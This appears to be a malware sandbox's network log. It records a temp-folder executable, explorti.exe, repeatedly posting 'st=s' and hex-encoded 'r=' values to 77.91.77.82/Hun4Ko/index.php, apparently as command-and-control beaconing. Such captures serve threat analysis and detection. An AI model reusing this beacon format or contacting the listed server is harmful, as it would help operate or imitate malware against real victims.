Jul 2, 2024 15:26:35.554107904 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:35.782694101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:35.897228956 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:36.610827923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:36.611825943 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:36.842565060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:36.960827112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:37.665492058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:37.666557074 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:37.888137102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:38.006611109 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:38.714437008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:38.715316057 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:38.937530994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:39.053606987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:39.751368999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:39.752366066 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:39.973345995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:40.085304022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:40.791477919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:40.794414043 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:41.013000965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:41.131889105 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:41.874547005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:41.879684925 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:42.103909969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:42.234647036 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:42.937889099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:42.938848019 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:43.162965059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:43.279093027 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:43.978636980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:43.979871988 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:44.204168081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:44.324151993 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:45.027116060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:45.028392076 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:45.253235102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:45.366349936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:46.072937012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:46.074147940 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:46.304580927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:46.413223028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:47.113739967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:47.114769936 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:47.335272074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:47.444452047 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:48.159445047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:48.160337925 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:48.391882896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
